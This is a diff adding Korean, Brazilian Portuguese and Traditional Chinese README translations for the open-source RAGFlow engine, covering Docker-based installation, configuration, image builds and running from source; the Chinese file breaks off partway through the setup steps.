+<img src="https://github.com/infiniflow/ragflow/assets/12318111/d6ac5664-c237-4200-a7c2-a4a00691b485" width="1000"/>
+</div>
+
+## 🎬 시작하기
+
+### 📝 사전 준비 사항
+
+- CPU >= 4 cores
+- RAM >= 16 GB
+- Disk >= 50 GB
+- Docker >= 24.0.0 & Docker Compose >= v2.26.1
+  > 로컬 머신(Windows, Mac, Linux)에 Docker가 설치되지 않은 경우, [Docker 엔진 설치](<(https://docs.docker.com/engine/install/)>)를 참조하세요.
+
+### 🚀 서버 시작하기
+
+1. `vm.max_map_count`가 262144 이상인지 확인하세요:
+
+   > `vm.max_map_count`의 값을 아래 명령어를 통해 확인하세요:
+   >
+   > ```bash
+   > $ sysctl vm.max_map_count
+   > ```
+   >
+   > 만약 `vm.max_map_count` 이 262144 보다 작다면 값을 쟈설정하세요.
+   >
+   > ```bash
+   > # 이 경우에 262144로 설정했습니다.:
+   > $ sudo sysctl -w vm.max_map_count=262144
+   > ```
+   >
+   > 이 변경 사항은 시스템 재부팅 후에 초기화됩니다. 변경 사항을 영구적으로 적용하려면 /etc/sysctl.conf 파일에 vm.max_map_count 값을 추가하거나 업데이트하세요:
+   >
+   > ```bash
+   > vm.max_map_count=262144
+   > ```
+
+2. 레포지토리를 클론하세요:
+
+   ```bash
+   $ git clone https://github.com/infiniflow/ragflow.git
+   ```
+
+3. 미리 빌드된 Docker 이미지를 생성하고 서버를 시작하세요:
+
+   > 아래 명령어는 RAGFlow Docker 이미지의 v0.17.0-slim 버전을 다운로드합니다. 다양한 RAGFlow 버전에 대한 설명은 다음 표를 참조하십시오. v0.17.0-slim과 다른 RAGFlow 버전을 다운로드하려면, docker/.env 파일에서 RAGFLOW_IMAGE 변수를 적절히 업데이트한 후 docker compose를 사용하여 서버를 시작하십시오. 예를 들어, 전체 버전인 v0.17.0을 다운로드하려면 RAGFLOW_IMAGE=infiniflow/ragflow:v0.17.0로 설정합니다.
+
+   ```bash
+   $ cd ragflow/docker
+   $ docker compose -f docker-compose.yml up -d
+   ```
+
+   | RAGFlow image tag | Image size (GB) | Has embedding models? | Stable?                  |
+   | ----------------- | --------------- | --------------------- | ------------------------ |
+   | v0.17.0           | &approx;9       | :heavy_check_mark:    | Stable release           |
+   | v0.17.0-slim      | &approx;2       | ❌                    | Stable release           |
+   | nightly           | &approx;9       | :heavy_check_mark:    | _Unstable_ nightly build |
+   | nightly-slim      | &approx;2       | ❌                     | _Unstable_ nightly build |
+
+4. 서버가 시작된 후 서버 상태를 확인하세요:
+
+   ```bash
+   $ docker logs -f ragflow-server
+   ```
+
+   _다음 출력 결과로 시스템이 성공적으로 시작되었음을 확인합니다:_
+
+   ```bash
+        ____   ___    ______ ______ __
+       / __ \ /   |  / ____// ____// /____  _      __
+      / /_/ // /| | / / __ / /_   / // __ \| | /| / /
+     / _, _// ___ |/ /_/ // __/  / // /_/ /| |/ |/ /
+    /_/ |_|/_/  |_|\____//_/    /_/ \____/ |__/|__/
+
+    * Running on all addresses (0.0.0.0)
+   ```
+
+   > 만약 확인 단계를 건너뛰고 바로 RAGFlow에 로그인하면, RAGFlow가 완전히 초기화되지 않았기 때문에 브라우저에서 `network anormal` 오류가 발생할 수 있습니다.
+
+5. 웹 브라우저에 서버의 IP 주소를 입력하고 RAGFlow에 로그인하세요.
+   > 기본 설정을 사용할 경우, `http://IP_OF_YOUR_MACHINE`만 입력하면 됩니다 (포트 번호는 제외). 기본 HTTP 서비스 포트 `80`은 기본 구성으로 사용할 때 생략할 수 있습니다.
+6. [service_conf.yaml.template](./docker/service_conf.yaml.template) 파일에서 원하는 LLM 팩토리를 `user_default_llm`에 선택하고, `API_KEY` 필드를 해당 API 키로 업데이트하세요.
+
+   > 자세한 내용은 [llm_api_key_setup](https://ragflow.io/docs/dev/llm_api_key_setup)를 참조하세요.
+
+   _이제 쇼가 시작됩니다!_
+
+## 🔧 설정
+
+시스템 설정과 관련하여 다음 파일들을 관리해야 합니다:
+
+- [.env](./docker/.env): `SVR_HTTP_PORT`, `MYSQL_PASSWORD`, `MINIO_PASSWORD`와 같은 시스템의 기본 설정을 포함합니다.
+- [service_conf.yaml.template](./docker/service_conf.yaml.template): 백엔드 서비스를 구성합니다.
+- [docker-compose.yml](./docker/docker-compose.yml): 시스템은 [docker-compose.yml](./docker/docker-compose.yml)을 사용하여 시작됩니다.
+
+[.env](./docker/.env) 파일의 변경 사항이 [service_conf.yaml.template](./docker/service_conf.yaml.template) 파일의 내용과 일치하도록 해야 합니다.
+
+> [./docker/README](./docker/README.md) 파일 ./docker/README은 service_conf.yaml.template 파일에서 ${ENV_VARS}로 사용할 수 있는 환경 설정과 서비스 구성에 대한 자세한 설명을 제공합니다.
+
+기본 HTTP 서비스 포트(80)를 업데이트하려면 [docker-compose.yml](./docker/docker-compose.yml) 파일에서 `80:80`을 `<YOUR_SERVING_PORT>:80`으로 변경하세요.
+
+> 모든 시스템 구성 업데이트는 적용되기 위해 시스템 재부팅이 필요합니다.
+>
+> ```bash
+> $ docker compose -f docker-compose.yml up -d
+> ```
+
+### Elasticsearch 에서 Infinity 로 문서 엔진 전환
+
+RAGFlow 는 기본적으로 Elasticsearch 를 사용하여 전체 텍스트 및 벡터를 저장합니다. [Infinity]로 전환(https://github.com/infiniflow/infinity/), 다음 절차를 따르십시오.
+
+1. 실행 중인 모든 컨테이너를 중지합니다.
+   ```bash
+   $docker compose-f docker/docker-compose.yml down -v
+   ```
+   Note: `-v` 는 docker 컨테이너의 볼륨을 삭제하고 기존 데이터를 지우며, 이 작업은 컨테이너를 중지하는 것과 동일합니다.
+2. **docker/.env**의 "DOC_ENGINE" 을 "infinity" 로 설정합니다.
+3. 컨테이너 부팅:
+   ```bash
+   $docker compose-f docker/docker-compose.yml up -d
+   ```
+   > [!WARNING]
+   > Linux/arm64 시스템에서 Infinity로 전환하는 것은 공식적으로 지원되지 않습니다.
+
+## 🔧 소스 코드로 Docker 이미지를 컴파일합니다(임베딩 모델 포함하지 않음)
+
+이 Docker 이미지의 크기는 약 1GB이며, 외부 대형 모델과 임베딩 서비스에 의존합니다.
+
+```bash
+git clone https://github.com/infiniflow/ragflow.git
+cd ragflow/
+docker build --build-arg LIGHTEN=1 -f Dockerfile -t infiniflow/ragflow:nightly-slim .
+```
+
+## 🔧 소스 코드로 Docker 이미지를 컴파일합니다(임베딩 모델 포함)
+
+이 Docker의 크기는 약 9GB이며, 이미 임베딩 모델을 포함하고 있으므로 외부 대형 모델 서비스에만 의존하면 됩니다.
+
+```bash
+git clone https://github.com/infiniflow/ragflow.git
+cd ragflow/
+docker build -f Dockerfile -t infiniflow/ragflow:nightly .
+```
+
+## 🔨 소스 코드로 서비스를 시작합니다.
+
+1. uv를 설치하거나 이미 설치된 경우 이 단계를 건너뜁니다:
+
+   ```bash
+   pipx install uv
+   ```
+
+2. 소스 코드를 클론하고 Python 의존성을 설치합니다:
+
+   ```bash
+   git clone https://github.com/infiniflow/ragflow.git
+   cd ragflow/
+   uv sync --python 3.10 --all-extras # install RAGFlow dependent python modules
+   ```
+
+3. Docker Compose를 사용하여 의존 서비스(MinIO, Elasticsearch, Redis 및 MySQL)를 시작합니다:
+
+   ```bash
+   docker compose -f docker/docker-compose-base.yml up -d
+   ```
+
+   `/etc/hosts` 에 다음 줄을 추가하여 **conf/service_conf.yaml** 에 지정된 모든 호스트를 `127.0.0.1` 로 해결합니다:
+
+   ```
+   127.0.0.1       es01 infinity mysql minio redis
+   ```
+
+4. HuggingFace에 접근할 수 없는 경우, `HF_ENDPOINT` 환경 변수를 설정하여 미러 사이트를 사용하세요:
+
+   ```bash
+   export HF_ENDPOINT=https://hf-mirror.com
+   ```
+
+5. 백엔드 서비스를 시작합니다:
+
+   ```bash
+   source .venv/bin/activate
+   export PYTHONPATH=$(pwd)
+   bash docker/launch_backend_service.sh
+   ```
+
+6. 프론트엔드 의존성을 설치합니다:
+   ```bash
+   cd web
+   npm install
+   ```
+7. 프론트엔드 서비스를 시작합니다:
+
+   ```bash
+   npm run dev
+   ```
+
+   _다음 인터페이스는 시스템이 성공적으로 시작되었음을 나타냅니다:_
+
+   ![](https://github.com/user-attachments/assets/0daf462c-a24d-4496-a66f-92533534e187)
+
+## 📚 문서
+
+- [Quickstart](https://ragflow.io/docs/dev/)
+- [User guide](https://ragflow.io/docs/dev/category/guides)
+- [References](https://ragflow.io/docs/dev/category/references)
+- [FAQ](https://ragflow.io/docs/dev/faq)
+
+## 📜 로드맵
+
+[RAGFlow 로드맵 2025](https://github.com/infiniflow/ragflow/issues/4214)을 확인하세요.
+
+## 🏄 커뮤니티
+
+- [Discord](https://discord.gg/4XxujFgUN7)
+- [Twitter](https://twitter.com/infiniflowai)
+- [GitHub Discussions](https://github.com/orgs/infiniflow/discussions)
+
+## 🙌 컨트리뷰션
+
+RAGFlow는 오픈소스 협업을 통해 발전합니다. 이러한 정신을 바탕으로, 우리는 커뮤니티의 다양한 기여를 환영합니다. 참여하고 싶으시다면, 먼저 [가이드라인](./CONTRIBUTING.md)을 검토해 주세요.

README_pt_br.md

@@ -0,0 +1,351 @@
+<div align="center">
+<a href="https://demo.ragflow.io/">
+<img src="web/src/assets/logo-with-text.png" width="520" alt="ragflow logo">
+</a>
+</div>
+
+<p align="center">
+  <a href="./README.md">English</a> |
+  <a href="./README_zh.md">简体中文</a> |
+  <a href="./README_tzh.md">繁体中文</a> |
+  <a href="./README_ja.md">日本語</a> |
+  <a href="./README_ko.md">한국어</a> |
+  <a href="./README_id.md">Bahasa Indonesia</a> |
+  <a href="/README_pt_br.md">Português (Brasil)</a>
+</p>
+
+<p align="center">
+    <a href="https://x.com/intent/follow?screen_name=infiniflowai" target="_blank">
+        <img src="https://img.shields.io/twitter/follow/infiniflow?logo=X&color=%20%23f5f5f5" alt="seguir no X(Twitter)">
+    </a>
+    <a href="https://demo.ragflow.io" target="_blank">
+        <img alt="Badge Estático" src="https://img.shields.io/badge/Online-Demo-4e6b99">
+    </a>
+    <a href="https://hub.docker.com/r/infiniflow/ragflow" target="_blank">
+        <img src="https://img.shields.io/badge/docker_pull-ragflow:v0.17.0-brightgreen" alt="docker pull infiniflow/ragflow:v0.17.0">
+    </a>
+    <a href="https://github.com/infiniflow/ragflow/releases/latest">
+        <img src="https://img.shields.io/github/v/release/infiniflow/ragflow?color=blue&label=Última%20Relese" alt="Última Versão">
+    </a>
+    <a href="https://github.com/infiniflow/ragflow/blob/main/LICENSE">
+        <img height="21" src="https://img.shields.io/badge/License-Apache--2.0-ffffff?labelColor=d4eaf7&color=2e6cc4" alt="licença">
+    </a>
+</p>
+
+<h4 align="center">
+  <a href="https://ragflow.io/docs/dev/">Documentação</a> |
+  <a href="https://github.com/infiniflow/ragflow/issues/4214">Roadmap</a> |
+  <a href="https://twitter.com/infiniflowai">Twitter</a> |
+  <a href="https://discord.gg/4XxujFgUN7">Discord</a> |
+  <a href="https://demo.ragflow.io">Demo</a>
+</h4>
+
+<details open>
+<summary><b>📕 Índice</b></summary>
+
+- 💡 [O que é o RAGFlow?](#-o-que-é-o-ragflow)
+- 🎮 [Demo](#-demo)
+- 📌 [Últimas Atualizações](#-últimas-atualizações)
+- 🌟 [Principais Funcionalidades](#-principais-funcionalidades)
+- 🔎 [Arquitetura do Sistema](#-arquitetura-do-sistema)
+- 🎬 [Primeiros Passos](#-primeiros-passos)
+- 🔧 [Configurações](#-configurações)
+- 🔧 [Construir uma imagem docker sem incorporar modelos](#-construir-uma-imagem-docker-sem-incorporar-modelos)
+- 🔧 [Construir uma imagem docker incluindo modelos](#-construir-uma-imagem-docker-incluindo-modelos)
+- 🔨 [Lançar serviço a partir do código-fonte para desenvolvimento](#-lançar-serviço-a-partir-do-código-fonte-para-desenvolvimento)
+- 📚 [Documentação](#-documentação)
+- 📜 [Roadmap](#-roadmap)
+- 🏄 [Comunidade](#-comunidade)
+- 🙌 [Contribuindo](#-contribuindo)
+
+</details>
+
+## 💡 O que é o RAGFlow?
+
+[RAGFlow](https://ragflow.io/) é um mecanismo RAG (Geração Aumentada por Recuperação) de código aberto baseado em entendimento profundo de documentos. Ele oferece um fluxo de trabalho RAG simplificado para empresas de qualquer porte, combinando LLMs (Modelos de Linguagem de Grande Escala) para fornecer capacidades de perguntas e respostas verídicas, respaldadas por citações bem fundamentadas de diversos dados complexos formatados.
+
+## 🎮 Demo
+
+Experimente nossa demo em [https://demo.ragflow.io](https://demo.ragflow.io).
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://github.com/infiniflow/ragflow/assets/7248/2f6baa3e-1092-4f11-866d-36f6a9d075e5" width="1200"/>
+<img src="https://github.com/user-attachments/assets/504bbbf1-c9f7-4d83-8cc5-e9cb63c26db6" width="1200"/>
+</div>
+
+## 🔥 Últimas Atualizações
+
+- 05-02-2025 Atualiza a lista de modelos de 'SILICONFLOW' e adiciona suporte para Deepseek-R1/DeepSeek-V3.
+- 26-01-2025 Otimize a extração e aplicação de gráficos de conhecimento e forneça uma variedade de opções de configuração.
+- 18-12-2024 Atualiza o modelo de Análise de Layout de Documentos no DeepDoc.
+- 04-12-2024 Adiciona suporte para pontuação de pagerank na base de conhecimento.
+- 22-11-2024 Adiciona mais variáveis para o Agente.
+- 01-11-2024 Adiciona extração de palavras-chave e geração de perguntas relacionadas aos blocos analisados para melhorar a precisão da recuperação.
+- 22-08-2024 Suporta conversão de texto para comandos SQL via RAG.
+
+## 🎉 Fique Ligado
+
+⭐️ Dê uma estrela no nosso repositório para se manter atualizado com novas funcionalidades e melhorias empolgantes! Receba notificações instantâneas sobre novos lançamentos! 🌟
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://github.com/user-attachments/assets/18c9707e-b8aa-4caf-a154-037089c105ba" width="1200"/>
+</div>
+
+## 🌟 Principais Funcionalidades
+
+### 🍭 **"Qualidade entra, qualidade sai"**
+
+- Extração de conhecimento baseada em [entendimento profundo de documentos](./deepdoc/README.md) a partir de dados não estruturados com formatos complicados.
+- Encontra a "agulha no palheiro de dados" de literalmente tokens ilimitados.
+
+### 🍱 **Fragmentação baseada em templates**
+
+- Inteligente e explicável.
+- Muitas opções de templates para escolher.
+
+### 🌱 **Citações fundamentadas com menos alucinações**
+
+- Visualização da fragmentação de texto para permitir intervenção humana.
+- Visualização rápida das referências chave e citações rastreáveis para apoiar respostas fundamentadas.
+
+### 🍔 **Compatibilidade com fontes de dados heterogêneas**
+
+- Suporta Word, apresentações, excel, txt, imagens, cópias digitalizadas, dados estruturados, páginas da web e mais.
+
+### 🛀 **Fluxo de trabalho RAG automatizado e sem esforço**
+
+- Orquestração RAG simplificada voltada tanto para negócios pessoais quanto grandes empresas.
+- Modelos LLM e de incorporação configuráveis.
+- Múltiplas recuperações emparelhadas com reclassificação fundida.
+- APIs intuitivas para integração sem problemas com os negócios.
+
+## 🔎 Arquitetura do Sistema
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://github.com/infiniflow/ragflow/assets/12318111/d6ac5664-c237-4200-a7c2-a4a00691b485" width="1000"/>
+</div>
+
+## 🎬 Primeiros Passos
+
+### 📝 Pré-requisitos
+
+- CPU >= 4 núcleos
+- RAM >= 16 GB
+- Disco >= 50 GB
+- Docker >= 24.0.0 & Docker Compose >= v2.26.1
+  > Se você não instalou o Docker na sua máquina local (Windows, Mac ou Linux), veja [Instalar Docker Engine](https://docs.docker.com/engine/install/).
+
+### 🚀 Iniciar o servidor
+
+1.  Certifique-se de que `vm.max_map_count` >= 262144:
+
+    > Para verificar o valor de `vm.max_map_count`:
+    >
+    > ```bash
+    > $ sysctl vm.max_map_count
+    > ```
+    >
+    > Se necessário, redefina `vm.max_map_count` para um valor de pelo menos 262144:
+    >
+    > ```bash
+    > # Neste caso, defina para 262144:
+    > $ sudo sysctl -w vm.max_map_count=262144
+    > ```
+    >
+    > Essa mudança será resetada após a reinicialização do sistema. Para garantir que a alteração permaneça permanente, adicione ou atualize o valor de `vm.max_map_count` em **/etc/sysctl.conf**:
+    >
+    > ```bash
+    > vm.max_map_count=262144
+    > ```
+
+2.  Clone o repositório:
+
+    ```bash
+    $ git clone https://github.com/infiniflow/ragflow.git
+    ```
+
+3.  Inicie o servidor usando as imagens Docker pré-compiladas:
+
+    > O comando abaixo baixa a edição `v0.17.0-slim` da imagem Docker do RAGFlow. Consulte a tabela a seguir para descrições de diferentes edições do RAGFlow. Para baixar uma edição do RAGFlow diferente da `v0.17.0-slim`, atualize a variável `RAGFLOW_IMAGE` conforme necessário no **docker/.env** antes de usar `docker compose` para iniciar o servidor. Por exemplo: defina `RAGFLOW_IMAGE=infiniflow/ragflow:v0.17.0` para a edição completa `v0.17.0`.
+
+    ```bash
+    $ cd ragflow/docker
+    $ docker compose -f docker-compose.yml up -d
+    ```
+
+    | Tag da imagem RAGFlow | Tamanho da imagem (GB) | Possui modelos de incorporação? | Estável?                 |
+    | --------------------- | ---------------------- | ------------------------------- | ------------------------ |
+    | v0.17.0               | ~9                     | :heavy_check_mark:              | Lançamento estável       |
+    | v0.17.0-slim          | ~2                     | ❌                              | Lançamento estável       |
+    | nightly               | ~9                     | :heavy_check_mark:              | _Instável_ build noturno |
+    | nightly-slim          | ~2                     | ❌                               | _Instável_ build noturno |
+
+4.  Verifique o status do servidor após tê-lo iniciado:
+
+    ```bash
+    $ docker logs -f ragflow-server
+    ```
+
+    _O seguinte resultado confirma o lançamento bem-sucedido do sistema:_
+
+    ```bash
+         ____   ___    ______ ______ __
+        / __ \ /   |  / ____// ____// /____  _      __
+       / /_/ // /| | / / __ / /_   / // __ \| | /| / /
+      / _, _// ___ |/ /_/ // __/  / // /_/ /| |/ |/ /
+     /_/ |_|/_/  |_|\____//_/    /_/ \____/ |__/|__/
+
+     * Rodando em todos os endereços (0.0.0.0)
+    ```
+
+    > Se você pular essa etapa de confirmação e acessar diretamente o RAGFlow, seu navegador pode exibir um erro `network anormal`, pois, nesse momento, seu RAGFlow pode não estar totalmente inicializado.
+
+5.  No seu navegador, insira o endereço IP do seu servidor e faça login no RAGFlow.
+
+    > Com as configurações padrão, você só precisa digitar `http://IP_DO_SEU_MÁQUINA` (**sem** o número da porta), pois a porta HTTP padrão `80` pode ser omitida ao usar as configurações padrão.
+
+6.  Em [service_conf.yaml.template](./docker/service_conf.yaml.template), selecione a fábrica LLM desejada em `user_default_llm` e atualize o campo `API_KEY` com a chave de API correspondente.
+
+    > Consulte [llm_api_key_setup](https://ragflow.io/docs/dev/llm_api_key_setup) para mais informações.
+
+_O show está no ar!_
+
+## 🔧 Configurações
+
+Quando se trata de configurações do sistema, você precisará gerenciar os seguintes arquivos:
+
+- [.env](./docker/.env): Contém as configurações fundamentais para o sistema, como `SVR_HTTP_PORT`, `MYSQL_PASSWORD` e `MINIO_PASSWORD`.
+- [service_conf.yaml.template](./docker/service_conf.yaml.template): Configura os serviços de back-end. As variáveis de ambiente neste arquivo serão automaticamente preenchidas quando o contêiner Docker for iniciado. Quaisquer variáveis de ambiente definidas dentro do contêiner Docker estarão disponíveis para uso, permitindo personalizar o comportamento do serviço com base no ambiente de implantação.
+- [docker-compose.yml](./docker/docker-compose.yml): O sistema depende do [docker-compose.yml](./docker/docker-compose.yml) para iniciar.
+
+> O arquivo [./docker/README](./docker/README.md) fornece uma descrição detalhada das configurações do ambiente e dos serviços, que podem ser usadas como `${ENV_VARS}` no arquivo [service_conf.yaml.template](./docker/service_conf.yaml.template).
+
+Para atualizar a porta HTTP de serviço padrão (80), vá até [docker-compose.yml](./docker/docker-compose.yml) e altere `80:80` para `<SUA_PORTA_DE_SERVIÇO>:80`.
+
+Atualizações nas configurações acima exigem um reinício de todos os contêineres para que tenham efeito:
+
+> ```bash
+> $ docker compose -f docker-compose.yml up -d
+> ```
+
+### Mudar o mecanismo de documentos de Elasticsearch para Infinity
+
+O RAGFlow usa o Elasticsearch por padrão para armazenar texto completo e vetores. Para mudar para o [Infinity](https://github.com/infiniflow/infinity/), siga estas etapas:
+
+1. Pare todos os contêineres em execução:
+
+   ```bash
+   $ docker compose -f docker/docker-compose.yml down -v
+   ```
+   Note: `-v` irá deletar os volumes do contêiner, e os dados existentes serão apagados.
+2. Defina `DOC_ENGINE` no **docker/.env** para `infinity`.
+
+3. Inicie os contêineres:
+
+   ```bash
+   $ docker compose -f docker-compose.yml up -d
+   ```
+
+> [!ATENÇÃO]
+> A mudança para o Infinity em uma máquina Linux/arm64 ainda não é oficialmente suportada.
+
+## 🔧 Criar uma imagem Docker sem modelos de incorporação
+
+Esta imagem tem cerca de 2 GB de tamanho e depende de serviços externos de LLM e incorporação.
+
+```bash
+git clone https://github.com/infiniflow/ragflow.git
+cd ragflow/
+docker build --build-arg LIGHTEN=1 -f Dockerfile -t infiniflow/ragflow:nightly-slim .
+```
+
+## 🔧 Criar uma imagem Docker incluindo modelos de incorporação
+
+Esta imagem tem cerca de 9 GB de tamanho. Como inclui modelos de incorporação, depende apenas de serviços externos de LLM.
+
+```bash
+git clone https://github.com/infiniflow/ragflow.git
+cd ragflow/
+docker build -f Dockerfile -t infiniflow/ragflow:nightly .
+```
+
+## 🔨 Lançar o serviço a partir do código-fonte para desenvolvimento
+
+1. Instale o `uv`, ou pule esta etapa se ele já estiver instalado:
+
+   ```bash
+   pipx install uv
+   ```
+
+2. Clone o código-fonte e instale as dependências Python:
+
+   ```bash
+   git clone https://github.com/infiniflow/ragflow.git
+   cd ragflow/
+   uv sync --python 3.10 --all-extras # instala os módulos Python dependentes do RAGFlow
+   ```
+
+3. Inicie os serviços dependentes (MinIO, Elasticsearch, Redis e MySQL) usando Docker Compose:
+
+   ```bash
+   docker compose -f docker/docker-compose-base.yml up -d
+   ```
+
+   Adicione a seguinte linha ao arquivo `/etc/hosts` para resolver todos os hosts especificados em **docker/.env** para `127.0.0.1`:
+
+   ```
+   127.0.0.1       es01 infinity mysql minio redis
+   ```
+
+4. Se não conseguir acessar o HuggingFace, defina a variável de ambiente `HF_ENDPOINT` para usar um site espelho:
+
+   ```bash
+   export HF_ENDPOINT=https://hf-mirror.com
+   ```
+
+5. Lance o serviço de back-end:
+
+   ```bash
+   source .venv/bin/activate
+   export PYTHONPATH=$(pwd)
+   bash docker/launch_backend_service.sh
+   ```
+
+6. Instale as dependências do front-end:
+
+   ```bash
+   cd web
+   npm install
+   ```
+
+7. Lance o serviço de front-end:
+
+   ```bash
+   npm run dev
+   ```
+
+   _O seguinte resultado confirma o lançamento bem-sucedido do sistema:_
+
+   ![](https://github.com/user-attachments/assets/0daf462c-a24d-4496-a66f-92533534e187)
+
+## 📚 Documentação
+
+- [Início rápido](https://ragflow.io/docs/dev/)
+- [Guia do usuário](https://ragflow.io/docs/dev/category/guides)
+- [Referências](https://ragflow.io/docs/dev/category/references)
+- [FAQ](https://ragflow.io/docs/dev/faq)
+
+## 📜 Roadmap
+
+Veja o [RAGFlow Roadmap 2025](https://github.com/infiniflow/ragflow/issues/4214)
+
+## 🏄 Comunidade
+
+- [Discord](https://discord.gg/4XxujFgUN7)
+- [Twitter](https://twitter.com/infiniflowai)
+- [GitHub Discussions](https://github.com/orgs/infiniflow/discussions)
+
+## 🙌 Contribuindo
+
+O RAGFlow prospera por meio da colaboração de código aberto. Com esse espírito, abraçamos contribuições diversas da comunidade.
+Se você deseja fazer parte, primeiro revise nossas [Diretrizes de Contribuição](./CONTRIBUTING.md).

README_tzh.md

@@ -0,0 +1,351 @@
+<div align="center">
+<a href="https://demo.ragflow.io/">
+<img src="web/src/assets/logo-with-text.png" width="350" alt="ragflow logo">
+</a>
+</div>
+
+<p align="center">
+  <a href="./README.md">English</a> |
+  <a href="./README_zh.md">简体中文</a> |
+  <a href="./README_ja.md">日本語</a> |
+  <a href="./README_ko.md">한국어</a> |
+  <a href="./README_id.md">Bahasa Indonesia</a> |
+  <a href="/README_pt_br.md">Português (Brasil)</a>
+</p>
+
+<p align="center">
+    <a href="https://x.com/intent/follow?screen_name=infiniflowai" target="_blank">
+        <img src="https://img.shields.io/twitter/follow/infiniflow?logo=X&color=%20%23f5f5f5" alt="follow on X(Twitter)">
+    </a>
+    <a href="https://demo.ragflow.io" target="_blank">
+        <img alt="Static Badge" src="https://img.shields.io/badge/Online-Demo-4e6b99">
+    </a>
+    <a href="https://hub.docker.com/r/infiniflow/ragflow" target="_blank">
+        <img src="https://img.shields.io/badge/docker_pull-ragflow:v0.17.0-brightgreen" alt="docker pull infiniflow/ragflow:v0.17.0">
+    </a>
+    <a href="https://github.com/infiniflow/ragflow/releases/latest">
+        <img src="https://img.shields.io/github/v/release/infiniflow/ragflow?color=blue&label=Latest%20Release" alt="Latest Release">
+    </a>
+    <a href="https://github.com/infiniflow/ragflow/blob/main/LICENSE">
+        <img height="21" src="https://img.shields.io/badge/License-Apache--2.0-ffffff?labelColor=d4eaf7&color=2e6cc4" alt="license">
+    </a>
+</p>
+
+<h4 align="center">
+  <a href="https://ragflow.io/docs/dev/">Document</a> |
+  <a href="https://github.com/infiniflow/ragflow/issues/4214">Roadmap</a> |
+  <a href="https://twitter.com/infiniflowai">Twitter</a> |
+  <a href="https://discord.gg/4XxujFgUN7">Discord</a> |
+  <a href="https://demo.ragflow.io">Demo</a>
+</h4>
+
+## 💡 RAGFlow 是什麼？
+
+[RAGFlow](https://ragflow.io/) 是一款基於深度文件理解所建構的開源 RAG（Retrieval-Augmented Generation）引擎。 RAGFlow 可以為各種規模的企業及個人提供一套精簡的 RAG 工作流程，結合大語言模型（LLM）針對用戶各類不同的複雜格式數據提供可靠的問答以及有理有據的引用。
+
+## 🎮 Demo 試用
+
+請登入網址 [https://demo.ragflow.io](https://demo.ragflow.io) 試用 demo。
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://github.com/infiniflow/ragflow/assets/7248/2f6baa3e-1092-4f11-866d-36f6a9d075e5" width="1200"/>
+<img src="https://github.com/user-attachments/assets/504bbbf1-c9f7-4d83-8cc5-e9cb63c26db6" width="1200"/>
+</div>
+
+## 🔥 近期更新
+
+- 2025-02-05 更新「SILICONFLOW」的型號清單並新增 Deepseek-R1/DeepSeek-V3 的支援。
+- 2025-01-26 最佳化知識圖譜的擷取與應用，提供了多種配置選擇。
+- 2024-12-18 升級了 DeepDoc 的文檔佈局分析模型。
+- 2024-12-04 支援知識庫的 Pagerank 分數。
+- 2024-11-22 完善了 Agent 中的變數定義和使用。
+- 2024-11-01 對解析後的 chunk 加入關鍵字抽取和相關問題產生以提高回想的準確度。
+- 2024-08-22 支援用 RAG 技術實現從自然語言到 SQL 語句的轉換。
+
+## 🎉 關注項目
+
+⭐️ 點擊右上角的 Star 追蹤 RAGFlow，可以取得最新發布的即時通知 !🌟
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://github.com/user-attachments/assets/18c9707e-b8aa-4caf-a154-037089c105ba" width="1200"/>
+</div>
+
+## 🌟 主要功能
+
+### 🍭 **"Quality in, quality out"**
+
+- 基於[深度文件理解](./deepdoc/README.md)，能夠從各類複雜格式的非結構化資料中提取真知灼見。
+- 真正在無限上下文（token）的場景下快速完成大海撈針測試。
+
+### 🍱 **基於模板的文字切片**
+
+- 不只是智能，更重要的是可控可解釋。
+- 多種文字範本可供選擇
+
+### 🌱 **有理有據、最大程度降低幻覺（hallucination）**
+
+- 文字切片過程視覺化，支援手動調整。
+- 有理有據：答案提供關鍵引用的快照並支持追根溯源。
+
+### 🍔 **相容各類異質資料來源**
+
+- 支援豐富的文件類型，包括 Word 文件、PPT、excel 表格、txt 檔案、圖片、PDF、影印件、影印件、結構化資料、網頁等。
+
+### 🛀 **全程無憂、自動化的 RAG 工作流程**
+
+- 全面優化的 RAG 工作流程可以支援從個人應用乃至超大型企業的各類生態系統。
+- 大語言模型 LLM 以及向量模型皆支援配置。
+- 基於多路召回、融合重排序。
+- 提供易用的 API，可輕鬆整合到各類企業系統。
+
+## 🔎 系統架構
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://github.com/infiniflow/ragflow/assets/12318111/d6ac5664-c237-4200-a7c2-a4a00691b485" width="1000"/>
+</div>
+
+## 🎬 快速開始
+
+### 📝 前提條件
+
+- CPU >= 4 核
+- RAM >= 16 GB
+- Disk >= 50 GB
+- Docker >= 24.0.0 & Docker Compose >= v2.26.1
+  > 如果你並沒有在本機安裝 Docker（Windows、Mac，或 Linux）, 可以參考文件 [Install Docker Engine](https://docs.docker.com/engine/install/) 自行安裝。
+
+### 🚀 啟動伺服器
+
+1. 確保 `vm.max_map_count` 不小於 262144：
+
+   > 如需確認 `vm.max_map_count` 的大小：
+   >
+   > ```bash
+   > $ sysctl vm.max_map_count
+   > ```
+   >
+   > 如果 `vm.max_map_count` 的值小於 262144，可以進行重設：
+   >
+   > ```bash
+   > # 這裡我們設為 262144:
+   > $ sudo sysctl -w vm.max_map_count=262144
+   > ```
+   >
+   > 你的改動會在下次系統重新啟動時被重置。如果希望做永久改動，還需要在 **/etc/sysctl.conf** 檔案裡把 `vm.max_map_count` 的值再相應更新一遍：
+   >
+   > ```bash
+   > vm.max_map_count=262144
+   > ```
+
+2. 克隆倉庫：
+
+   ```bash
+   $ git clone https://github.com/infiniflow/ragflow.git
+   ```
+
+3. 進入 **docker** 資料夾，利用事先編譯好的 Docker 映像啟動伺服器：
+
+   > 執行以下指令會自動下載 RAGFlow slim Docker 映像 `v0.17.0-slim`。請參考下表查看不同 Docker 發行版的說明。如需下載不同於 `v0.17.0-slim` 的 Docker 映像，請在執行 `docker compose` 啟動服務之前先更新 **docker/.env** 檔案內的 `RAGFLOW_IMAGE` 變數。例如，你可以透過設定 `RAGFLOW_IMAGE=infiniflow/ragflow:v0.17.0` 來下載 RAGFlow 鏡像的 `v0.17.0` 完整發行版。
+
+   ```bash
